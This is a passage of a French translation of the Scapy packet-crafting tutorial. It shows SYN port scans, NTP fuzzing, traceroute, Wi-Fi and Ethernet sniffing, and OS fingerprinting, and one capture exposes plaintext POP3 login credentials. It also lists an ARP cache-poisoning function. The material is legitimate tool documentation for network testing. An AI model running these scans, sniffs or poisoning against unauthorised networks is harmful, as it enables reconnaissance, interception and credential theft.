Scapy est un bon programme en ligne de commande pour forger des paquets TCP, UDP, ICMP et autres, très bonne outil, et moins compliqué qu'il peut paraitre au première abord.
Le shell interactif de Scapy est lancé dans un terminal. Les privilèges root sont nécessaires pour envoyer les paquets, c'est pourquoi on utilise sudo ici:
$ sudo scapy Welcome to Scapy (2.0.1) >>>
Sous Windows, ouvrez l'invité de commande (cmd.exe) et vérifiez que vous avez les privilèges administrateur:
C:\scapy> python scapy.py Welcome to Scapy (1.2.0.2-win) >>>
Si vous n'avez pas tous les paquetages optionnels installés, Scapy vous informera que certaines fonctionnalités ne seront pas disponibles:
INFO: Can't import python gnuplot wrapper . Won't be able to plot. INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
Cela dit, les fonctionnalités basiques d'envoi et de réception de paquets devraient fonctionner tout de même.
Cette section vous montrera quelques fonctionnalités de Scapy. Ouvez juste une session Scapy comme montré ci-dessus et réalisez les exemples vous-même.
Construisons un paquet et manipulons-le:
>>> a=IP(ttl=10) >>> a < IP ttl=10 |> >>> a.src ’127.0.0.1’ >>> a.dst="192.168.1.1" >>> a < IP ttl=10 dst=192.168.1.1 |> >>> a.src ’192.168.8.14’ >>> del(a.ttl) >>> a < IP dst=192.168.1.1 |> >>> a.ttl 64
L'opérateur / a été utilisé comme opérateur de composition entre deux couches. Quand vous l'utilisez, la couche inférieure peut avoir un ou plusieurs de ses champs par défaut surchargés en fonction de la couche supérieure. (Vous pouvez quand même spécifier la valeur que vous voulez). Une chaîne peut être utilisée comme une couche brute.
>>> IP() <IP |> >>> IP()/TCP() <IP frag=0 proto=TCP |<TCP |>> >>> Ether()/IP()/TCP() <Ether type=0x800 |<IP frag=0 proto=TCP |<TCP |>>> >>> IP()/TCP()/"GET / HTTP/1.0\r\n\r\n" <IP frag=0 proto=TCP |<TCP |<Raw load='GET / HTTP/1.0\r\n\r\n' |>>> >>> Ether()/IP()/IP()/UDP() <Ether type=0x800 |<IP frag=0 proto=IP |<IP frag=0 proto=UDP |<UDP |>>>> >>> IP(proto=55)/TCP() <IP frag=0 proto=55 |<TCP |>>
Chaque paquet peut être construit ou disséqué (note: en Python, _ (underscore) est le dernier résultat):
>>> str(IP()) 'E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01' >>> IP(_) <IP version=4L ihl=5L tos=0x0 len=20 id=1 flags= frag=0L ttl=64 proto=IP chksum=0x7ce7 src=127.0.0.1 dst=127.0.0.1 |> >>> a=Ether()/IP(dst="www.slashdot.org")/TCP()/"GET /index.html HTTP/1.0 \n\n" >>> hexdump(a) 00 02 15 37 A2 44 00 AE F3 52 AA D1 08 00 45 00 ...7.D...R....E. 00 43 00 01 00 00 40 06 78 3C C0 A8 05 15 42 23 .C....@.x<....B# FA 97 00 14 00 50 00 00 00 00 00 00 00 00 50 02 .....P........P. 20 00 BB 39 00 00 47 45 54 20 2F 69 6E 64 65 78 ..9..GET /index 2E 68 74 6D 6C 20 48 54 54 50 2F 31 2E 30 20 0A .html HTTP/1.0 . 0A . >>> b=str(a) >>> b '\x00\x02\x157\xa2D\x00\xae\xf3R\xaa\xd1\x08\x00E\x00\x00C\x00\x01\x00\x00@\x06x<\xc0 \xa8\x05\x15B#\xfa\x97\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00 \xbb9\x00\x00GET /index.html HTTP/1.0 \n\n' >>> c=Ether(b) >>> c <Ether dst=00:02:15:37:a2:44 src=00:ae:f3:52:aa:d1 type=0x800 |<IP version=4L ihl=5L tos=0x0 len=67 id=1 flags= frag=0L ttl=64 proto=TCP chksum=0x783c src=192.168.5.21 dst=66.35.250.151 options= |<TCP sport=20 dport=80 seq=0L ack=0L dataofs=5L reserved=0L flags=S window=8192 chksum=0xbb39 urgptr=0 options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>>
On voit qu'un paquet disséqué a tous ses champs remplis. C'est parce que chaque champ a sa valeur définie par la chaîne originale. Si cela est trop verbeux, la méthode hide_defaults() va supprimer tous les champs qui ont la même valeur que celle par défaut:
>>> c.hide_defaults() >>> c <Ether dst=00:0f:66:56:fa:d2 src=00:ae:f3:52:aa:d1 type=0x800 |<IP ihl=5L len=67 frag=0 proto=TCP chksum=0x783c src=192.168.5.21 dst=66.35.250.151 |<TCP dataofs=5L chksum=0xbb39 options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>>
Vous pouvez lire les paquets d'un fichier pcap et les écrire dans un fichier pcap.
>>> a=rdpcap("/spare/captures/isakmp.cap")
>>> a
<isakmp.cap: UDP:721 TCP:0 ICMP:0 Other:0>
Si vous avez PyX installé, vous pouvez générer un dump PostScript/PDF graphique d'un paquet ou d'une liste de paquet (voir l'image de piètre qualité ci-dessous. PostScript/PDF sont de qualités bien meilleures):
>>> a[423].pdfdump(layer_shift=1)
>>> a[423].psdump("/tmp/isakmp_pkt.eps",layer_shift=1)
| Commande | Effet |
|---|---|
| str(pkt) | assemble le paquet |
| hexdump(pkt) | génère un dump hexadécimal |
| ls(pkt) | liste les valeurs des champs |
| pkt.summary() | résumé du paquet sur une ligne |
| pkt.show() | vue développée du paquet |
| pkt.show2() | comme show, mais sur le paquet assemblé (par exemple, le checksum est calculé) |
| pkt.sprintf() | rempli une chaîne formatée avec les valeurs des champs du paquet |
| pkt.decode_payload_as() | modifie la manière dont le payload est décodé |
| pkt.psdump() | dessine un diagramme PostScript avec la dissection expliquée |
| pkt.pdfdump() | dessine un PDF avec la dissection expliquée |
| pkt.command() | renvoie une commande Scapy qui peut générer le paquet |
Jusqu'à présent, nous n'avons uniquement généré un seul paquet. Voyons comment spécifier une série de paquets simplement. Chaque champ de tout le paquet (les couches y compris) peut être configuré. Cela définit implicitement une série de paquet, généré à l'aide d'une sorte de produit cartésien entre tous les champs.
>>> a=IP(dst="www.slashdot.org/30") >>> a <IP dst= |> >>> [p for p in a] [<IP dst=66.35.250.148 |>, <IP dst=66.35.250.149 |>, <IP dst=66.35.250.150 |>, <IP dst=66.35.250.151 |>] >>> b=IP(ttl=[1,2,(5,9)]) >>> b <IP ttl=[1, 2, (5, 9)] |> >>> [p for p in b] [<IP ttl=1 |>, <IP ttl=2 |>, <IP ttl=5 |>, <IP ttl=6 |>, <IP ttl=7 |>, <IP ttl=8 |>, <IP ttl=9 |>] >>> c=TCP(dport=[80,443]) >>> [p for p in a/c] [<IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=80 |>>, <IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=443 |>>, <IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=80 |>>, <IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=443 |>>, <IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=80 |>>, <IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=443 |>>, <IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=80 |>>, <IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=443 |>>]
Certaines opérations (comme construire la chaîne depuis un paquet) ne peut fonctionner sur une série de paquet. Dans ces cas, si vous oubliez de déplier (NdT: unroll, dérouler) votre série de paquets, seul le premier élément de la liste sera utilisé pour assembler le paquet.
| Commande | Effet |
|---|---|
| summary() | affiche le résumé de chaque paquet |
| nsummary() | comme summary(), avec le numéro de paquet |
| conversations() | affiche un graphe des conversations |
| show() | affiche la représentation favorite (généralement nsummary()) |
| filter() | renvoie une liste de paquets filtrés avec une fonction lambda |
| hexdump() | renvoie un dump hexadécimal de tous les paquets |
| hexraw() | renvoie un dump hexadécimal de la couche Raw de tous les paquets |
| padding() | renvoie un dump hexadécimal de tous les paquets avec padding |
| nzpadding() | renvoie un dump hexadécimal de tous les paquets avec un padding non nul |
| plot() | représente une fonction lambda appliquée à la liste de paquets |
| make_table() | affiche le tableau en fonction d'une fonction lambda |
Maintenant, nous savons manipuler des paquets. Voyons comment les envoyer. La fonction send() envoie les paquets sur la couche 3. Cela implique qu'il va gérer le routage et la couche 2 pour nous. La fonction sendp() fonctionne sur la couche 2. Cela vous permet de choisir la bonne interface et le bon protocole de la couche liaison.
>>> send(IP(dst="1.2.3.4")/ICMP())
.
Sent 1 packets.
>>> sendp(Ether()/IP(dst="1.2.3.4",ttl=(1,4)), iface="eth1")
....
Sent 4 packets.
>>> sendp("I'm travelling on Ethernet", iface="eth1", loop=1, inter=0.2)
................^C
Sent 16 packets.
>>> sendp(rdpcap("/tmp/pcapfile")) # tcpreplay
...........
Sent 11 packets.
La fonction fuzz() permet de changer toutes les valeurs par défaut qui ne sont pas calculées (comme les checksums) par un objet dont la valeur est aléation et dont le type est adapté au champ. Cela permet de construire rapidement des modèles de fuzzing et de les envoyer dans une boucle. Dans l'exemple suivant, la couche IP est normale; et l'UDP et NTP sont fuzzés. Le checksum UDP sera correct, le port de destination UDP sera écrasé par NTP pour être 123 et la version NTP sera forcée pour être 4. Tous les autres ports seront aléatoires:
>>> send(IP(dst="target")/fuzz(UDP()/NTP(version=4)),loop=1) ................^C Sent 16 packets.
A présent, essayons de faire quelque chose de sympa. La fonction sr() sert à envoyer des paquets et recevoir les réponses. La fonction renvoie deux paquets et les réponses, et les paquets sans réponses. La fonction sr1() varie en ce sens qu'elle renvoie un paquet qui a répondu au paquet (ou le paquet spécifié) envoyé. Les paquets doivent être de couche 3 (IP, ARP, etc…). La fonction srp() fait la même chose pour les paquets de couche 2 (Ethernet, 802.1, etc…).
>>> p=sr1(IP(dst="www.slashdot.org")/ICMP()/"XXXXXXXXXXX")
Begin emission:
...Finished to send 1 packets.
.*
Received 5 packets, got 1 answers, remaining 0 packets
>>> p
<IP version=4L ihl=5L tos=0x0 len=39 id=15489 flags= frag=0L ttl=42 proto=ICMP
chksum=0x51dd src=66.35.250.151 dst=192.168.5.21 options= |<ICMP type=echo-reply
code=0 chksum=0xee45 id=0x0 seq=0x0 |<Raw load='XXXXXXXXXXX'
|<Padding load='\x00\x00\x00\x00' |>>>>
>>> p.show()
---[ IP ]---
version = 4L
ihl = 5L
tos = 0x0
len = 39
id = 15489
flags =
frag = 0L
ttl = 42
proto = ICMP
chksum = 0x51dd
src = 66.35.250.151
dst = 192.168.5.21
options =
---[ ICMP ]---
type = echo-reply
code = 0
chksum = 0xee45
id = 0x0
seq = 0x0
---[ Raw ]---
load = 'XXXXXXXXXXX'
---[ Padding ]---
load = '\x00\x00\x00\x00'
Une requête DNS (rd = recursion desired). Notez que le padding non nul provient de la Linksys avec l'irrégularité de la fuite Ethernet:
>>> sr1(IP(dst="192.168.5.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.slashdot.org"))) Begin emission: Finished to send 1 packets. ..* Received 3 packets, got 1 answers, remaining 0 packets <IP version=4L ihl=5L tos=0x0 len=78 id=0 flags=DF frag=0L ttl=64 proto=UDP chksum=0xaf38 src=192.168.5.1 dst=192.168.5.21 options= |<UDP sport=53 dport=53 len=58 chksum=0xd55d |<DNS id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L rcode=ok qdcount=1 ancount=1 nscount=0 arcount=0 qd=<DNSQR qname='www.slashdot.org.' qtype=A qclass=IN |> an=<DNSRR rrname='www.slashdot.org.' type=A rclass=IN ttl=3560L rdata='66.35.250.151' |> ns=0 ar=0 |<Padding load='\xc6\x94\xc7\xeb' |>>>>
Les fonctions de la famille “envoyer et recevoir” (NdT: “send’n’receive”) sont le coeur de scapy. Elles renvoient deux listes. Le premier élément est une liste de couples (paquets envoyés et reçus), et le second élément est la liste des paquets non reçus. Ces deux éléments sont des listes, mails elles sont enveloppées dans un objet pour mieux les présenter, et leur appliquer des méthodes que font généralement les actions voulues:
>>> sr(IP(dst="192.168.8.1")/TCP(dport=[21,22,23])) Received 6 packets, got 3 answers, remaining 0 packets (<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>) >>> ans,unans=_ >>> ans.summary() IP / TCP 192.168.8.14:20 > 192.168.8.1:21 S ==> Ether / IP / TCP 192.168.8.1:21 > 192.168.8.14:20 RA / Padding IP / TCP 192.168.8.14:20 > 192.168.8.1:22 S ==> Ether / IP / TCP 192.168.8.1:22 > 192.168.8.14:20 RA / Padding IP / TCP 192.168.8.14:20 > 192.168.8.1:23 S ==> Ether / IP / TCP 192.168.8.1:23 > 192.168.8.14:20 RA / Padding
S'il y a un taux limité de réponses, vous pouvez spécifier un interval de temps pour attendre entre deux paquets à l'aide du paramètre inter. Si certains paquets sont perdus ou si le temps d'interval spécifié n'est pas suffisant, vous pouvez renvoyer tous les paquets non répondus, soit en rappelant la fonction directement avec la liste des non répondus, soit en spécifiant le paramètre retry. Si retry vaut 3, scapy va tenter de renvoyer les paquets non répondus 3 fois. Si retry est égal à -3, scapy va renvoyer les paquets non répondus jusqu'à ce qu'un réponse soit donnée 3 fois de suite à la série de paquets. Le paramètre timeout spécifie le temps à attendre après que le dernier paquet ait été envoyé:
>>> sr(IP(dst="172.20.29.5/30")/TCP(dport=[21,22,23]),inter=0.5,retry=-2,timeout=1) Begin emission: Finished to send 12 packets. Begin emission: Finished to send 9 packets. Begin emission: Finished to send 9 packets. Received 100 packets, got 3 answers, remaining 9 packets (<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:9 ICMP:0 Other:0>)
Un scan SYN classique peut être initialisé en exécutant la commande suivante depuis l'interpréteur Scapy:
sr1(IP(dst=“72.14.207.99”)/TCP(dport=80,flags=“S”))</code>
Cela va envoyer un simple paquet SYN sur le port 80 de Google et va quitter après la réception d'une simple réponse:
Begin emission:
.Finished to send 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
<IP version=4L ihl=5L tos=0x20 len=44 id=33529 flags= frag=0L ttl=244
proto=TCP chksum=0x6a34 src=72.14.207.99 dst=192.168.1.100 options=// |
<TCP sport=www dport=ftp-data seq=2487238601L ack=1 dataofs=6L reserved=0L
flags=SA window=8190 chksum=0xcdc7 urgptr=0 options=[('MSS', 536)] |
<Padding load='V\xf7' |>>>
A partir du listing ci-dessus, on peut voir que Google renvoie “SA” ou les drapeaux SYN-ACK indiquant un port ouvert.
Utilisez l'une ou l'autre de ces notations pour scanner les ports 400 à 443 sur le système:
>>> sr(IP(dst="192.168.1.1")/TCP(sport=666,dport=(440,443),flags="S"))
ou
>>> sr(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport=[440,441,442,443],flags="S"))
Pour observer les réponses rapidement, faîtes une requête summary des paquets collectés:
>>> ans,unans = _
>>> ans.summary()
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:440 S ======> IP / TCP 192.168.1.1:440 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:441 S ======> IP / TCP 192.168.1.1:441 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:442 S ======> IP / TCP 192.168.1.1:442 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp-data SA / Padding<code>
Le listing précédent affiche les requêtes/réponses des paquets qui ont eu une réponse. Nous pouvons afficher les informations qui nous intéressent à l'aide d'une boucle:
<code>>>> ans.summary( lambda(s,r): r.sprintf("%TCP.sport% \t %TCP.flags%") )
440 RA
441 RA
442 RA
https SA<code>
Même mieux, une table peut être construite en utilisant la fonction make_table() pour afficher l'information sur plusieurs cibles:
>>> ans,unans = sr(IP(dst=["192.168.1.1","yahoo.com","slashdot.org"])/TCP(dport=[22,80,443],flags="S"))
Begin emission:
<code>.......*.**.......Finished to send 9 packets.
**.*.*..*..................
Received 362 packets, got 8 answers, remaining 1 packets
>>> ans.make_table(
... lambda(s,r): (s.dst, s.dport,
... r.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}")))
66.35.250.150 192.168.1.1 216.109.112.135
22 66.35.250.150 - dest-unreach RA -
80 SA RA SA
443 SA SA SA
L'exemple ci-dessus va même afficher le type des erreurs ICMP si le paquet ICMP a été reçu comme une réponse au lieu de TCP, comme attendu.
Pour les scans plus importants, on peut vouloir afficher uniquement certaines réponses. L'exemple ci-dessous affiche uniquement les paquets avec le drapeau “SA”:
>>> ans.nsummary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") ====== "SA")
0003 IP / TCP 192.168.1.100:ftp_data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp_data SA
Dans le cas où nous voulons faire une analyse plus poussée des réponses, on peut utiliser la commande suivante pour indiquer quels ports sont ouverts:
>>> ans.summary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") ====== "SA",prn=lambda(s,r):r.sprintf("%TCP.sport% is open"))
https is open
Ou encore, pour les scans importants, on peut construire une table des ports ouverts:
>>> ans.filter(lambda (s,r):TCP in r and r[TCP].flags&2).make_table(lambda (s,r):
... (s.dst, s.dport, "X"))
66.35.250.150 192.168.1.1 216.109.112.135
80 X - X
443 X X X
Si toutes les méthodes précédentes ne suffisent pas, Scapy possède la fonction report_ports() qui ne va pas simplement automatiser le scan SYN, mais aussi générer une sortie LaTeX avec les résultats collectés:
>>> report_ports("192.168.1.1",(440,443))
Begin emission:
...*.**Finished to send 4 packets.
*
Received 8 packets, got 4 answers, remaining 0 packets
'\\begin{tabular}{|r|l|l|}\n\\hline\nhttps & open & SA \\\\\n\\hline\n440
& closed & TCP RA \\\\\n441 & closed & TCP RA \\\\\n442 & closed &
TCP RA \\\\\n\\hline\n\\hline\n\\end{tabular}\n'
Un traceroute TCP:
>>> ans,unans=sr(IP(dst=target, ttl=(4,25),id=RandShort())/TCP(flags=0x2)) *****.******.*.***..*.**Finished to send 22 packets. ***...... Received 33 packets, got 21 answers, remaining 1 packets >>> for snd,rcv in ans: ... print snd.ttl, rcv.src, isinstance(rcv.payload, TCP) ... 5 194.51.159.65 0 6 194.51.159.49 0 4 194.250.107.181 0 7 193.251.126.34 0 8 193.251.126.154 0 9 193.251.241.89 0 10 193.251.241.110 0 11 193.251.241.173 0 13 208.172.251.165 0 12 193.251.241.173 0 14 208.172.251.165 0 15 206.24.226.99 0 16 206.24.238.34 0 17 173.109.66.90 0 18 173.109.88.218 0 19 173.29.39.101 1 20 173.29.39.101 1 21 173.29.39.101 1 22 173.29.39.101 1 23 173.29.39.101 1 24 173.29.39.101 1
Notez que le traceroute TCP et quelques autres fonctions de haut-niveau sont déjà codées:
>>> lsc() sr : Send and receive packets at layer 3 sr1 : Send packets at layer 3 and return only the first answer srp : Send and receive packets at layer 2 srp1 : Send and receive packets at layer 2 and return only the first answer srloop : Send a packet at layer 3 in loop and print the answer each time srploop : Send a packet at layer 2 in loop and print the answer each time sniff : Sniff packets p0f : Passive OS fingerprinting: which OS emitted this TCP SYN ? arpcachepoison : Poison target's cache with (your MAC,victim's IP) couple send : Send packets at layer 3 sendp : Send packets at layer 2 traceroute : Instant TCP traceroute arping : Send ARP who-has requests to determine which hosts are up ls : List available layers, or infos on a given layer lsc : List user commands queso : Queso OS fingerprinting nmap_fp : nmap fingerprinting report_ports : portscan a target and output a LaTeX table dyndns_add : Send a DNS add message to a nameserver for "name" to have a new "rdata" dyndns_del : Send a DNS delete message to a nameserver for "name" [...]
Le processus d'envoi et de réception de paquets est assez compliqué. Dès que je veux utiliser l'interface PF_PACKET pour aller dans netfilter, j'ai aussi besoin d'implémenter la pile ARP et le cache ARP, et la pile LL. Cela semble fonctionner, sur les interfaces ethernet et PPP, mais je ne garantis rien. De toute manière, le fait que j'utilise une sorte de super-socket pour cela implique que vous pouvez basculer la couche IO très simplement, et utiliser PF_INET/SOCK_RAW, ou utiliser PF_PACKET au niveau 2 (donné par l'en-tête LL (ethernet, …) et vous donne l'adresse mac, …). J'ai juste ajouté un super-socket qui utilise libdnet et libpcap, donc cela doit être portable:
>>> conf.L3socket=L3dnetSocket >>> conf.L3listen=L3pcapListenSocket
Vous pouvez simplement capturer des paquets ou même cloner tcpdump ou tethereal. Si aucune interface n'est donnée, le sniff s'effectuera sur chaque interface:
>>> sniff(filter="icmp and host 66.35.250.151", count=2)
<Sniffed: UDP:0 TCP:0 ICMP:2 Other:0>
>>> a=_
>>> a.nsummary()
0000 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw
0001 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw
>>> a[1]
<Ether dst=00:ae:f3:52:aa:d1 src=00:02:15:37:a2:44 type=0x800 |<IP version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=ICMP chksum=0x3831
src=192.168.5.21 dst=66.35.250.151 options= |<ICMP type=echo-request code=0
chksum=0x6571 id=0x8745 seq=0x0 |<Raw load='B\xf7g\xda\x00\x07um\x08\t\n\x0b
\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d
\x1e\x1f !\x22#$%&\'()*+,-./01234567' |>>>>
>>> sniff(iface="wifi0", prn=lambda x: x.summary())
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 5 00:0a:41:ee:a5:50 / 802.11 Probe Response / Info SSID / Info Rates / Info DSset / Info 133
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 11 00:07:50:d6:44:3f / 802.11 Authentication
802.11 Management 11 00:0a:41:ee:a5:50 / 802.11 Authentication
802.11 Management 0 00:07:50:d6:44:3f / 802.11 Association Request / Info SSID / Info Rates / Info 133 / Info 149
802.11 Management 1 00:0a:41:ee:a5:50 / 802.11 Association Response / Info Rates / Info 133 / Info 149
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 / LLC / SNAP / ARP who has 172.20.70.172 says 172.20.70.171 / Padding
802.11 / LLC / SNAP / ARP is at 00:0a:b7:4b:9c:dd says 172.20.70.172 / Padding
802.11 / LLC / SNAP / IP / ICMP echo-request 0 / Raw
802.11 / LLC / SNAP / IP / ICMP echo-reply 0 / Raw
>>> sniff(iface="eth1", prn=lambda x: x.show())
---[ Ethernet ]---
dst = 00:ae:f3:52:aa:d1
src = 00:02:15:37:a2:44
type = 0x800
---[ IP ]---
version = 4L
ihl = 5L
tos = 0x0
len = 84
id = 0
flags = DF
frag = 0L
ttl = 64
proto = ICMP
chksum = 0x3831
src = 192.168.5.21
dst = 66.35.250.151
options =
---[ ICMP ]---
type = echo-request
code = 0
chksum = 0x89d9
id = 0xc245
seq = 0x0
---[ Raw ]---
load = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'
---[ Ethernet ]---
dst = 00:02:15:37:a2:44
src = 00:ae:f3:52:aa:d1
type = 0x800
---[ IP ]---
version = 4L
ihl = 5L
tos = 0x0
len = 84
id = 2070
flags =
frag = 0L
ttl = 42
proto = ICMP
chksum = 0x861b
src = 66.35.250.151
dst = 192.168.5.21
options =
---[ ICMP ]---
type = echo-reply
code = 0
chksum = 0x91d9
id = 0xc245
seq = 0x0
---[ Raw ]---
load = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d \x1e\x1f !\x22#$%&\'()*+,-./01234567'
---[ Padding ]---
load = '\n_\x00\x0b'
Pour plus de contrôle sur l'information affichée, on peut utiliser la fonction sprintf();
>>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}"))
192.168.1.100 -> 64.233.167.99
64.233.167.99 -> 192.168.1.100
192.168.1.100 -> 64.233.167.99
192.168.1.100 -> 64.233.167.99
'GET / HTTP/1.1\r\nHost: 64.233.167.99\r\nUser-Agent: Mozilla/5.0
(X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy)
Firefox/2.0.0.8\r\nAccept: text/xml,application/xml,application/xhtml+xml,
text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Language:
en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset:
ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nConnection:
keep-alive\r\nCache-Control: max-age=0\r\n\r\n'
On peut sniffer et réaliser une empreinte d'OS:
>>> p
<Ether dst=00:10:4b:b3:7d:4e src=00:40:33:96:7b:60 type=0x800 |<IP version=4L
ihl=5L tos=0x0 len=60 id=61681 flags=DF frag=0L ttl=64 proto=TCP chksum=0xb85e
src=192.168.8.10 dst=192.168.8.1 options= |<TCP sport=46511 dport=80
seq=2023566040L ack=0L dataofs=10L reserved=0L flags=SEC window=5840
chksum=0x570c urgptr=0 options=[('Timestamp', (342940201L, 0L)), ('MSS', 1460),
('NOP', ()), ('SAckOK', ), ('WScale', 0)] |>>>
>>> p0f(p)
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
>>> a=sniff(prn=prnp0f)
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
(1.0, ['Linux 2.4.2 - 2.4.14 (1)'])
(0.875, ['Linux 2.4.2 - 2.4.14 (1)', 'Linux 2.4.10 (1)', 'Windows 98 (?)'])
(1.0, ['Windows 2000 (9)'])
Le nombre avant l'OS spécifie la précision de l'estimation.
Démonstration de filtre dpf et de la méthode sprintf():
>>> a=sniff(filter="tcp and ( port 25 or port 110 )",
prn=lambda x: x.sprintf("%IP.src%:%TCP.sport% -> %IP.dst%:%TCP.dport% %2s,TCP.flags% : %TCP.payload%"))
192.168.8.10:47226 -> 213.228.0.14:110 S :
213.228.0.14:110 -> 192.168.8.10:47226 SA :
192.168.8.10:47226 -> 213.228.0.14:110 A :
213.228.0.14:110 -> 192.168.8.10:47226 PA : +OK <13103.1048117923@pop2-1.free.fr>
192.168.8.10:47226 -> 213.228.0.14:110 A :
192.168.8.10:47226 -> 213.228.0.14:110 PA : USER toto
213.228.0.14:110 -> 192.168.8.10:47226 A :
213.228.0.14:110 -> 192.168.8.10:47226 PA : +OK
192.168.8.10:47226 -> 213.228.0.14:110 A :
192.168.8.10:47226 -> 213.228.0.14:110 PA : PASS tata
213.228.0.14:110 -> 192.168.8.10:47226 PA : -ERR authorization failed
192.168.8.10:47226 -> 213.228.0.14:110 A :
213.228.0.14:110 -> 192.168.8.10:47226 FA :
192.168.8.10:47226 -> 213.228.0.14:110 FA :
213.228.0.14:110 -> 192.168.8.10:47226 A :
Voici un exemple de fonctionnalité similaire à (h)ping : vous envoyez toujours la même série de paquets pour voir si quelquechose change:
>>> srloop(IP(dst="www.target.com/30")/TCP())
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
Il est souvent utile de sauvegarder les paquets capturés dans un fichier pcap pour l'utiliser ultérieurement ou avec d'autres applications:
>>> wrpcap("temp.cap",pkts)
Pour restaurer un fichier pcap préalablement sauvegardé:
>>> pkts = rdpcap("temp.cap")
ou
>>> pkts = sniff(offline="temp.cap")
Scapy vous permet d'exporter les paquets enregistrer dans divers formats hexadécimaux.
Utilisez hexdump() pour afficher un ou plusieurs paquets avec le format hexdump classique:
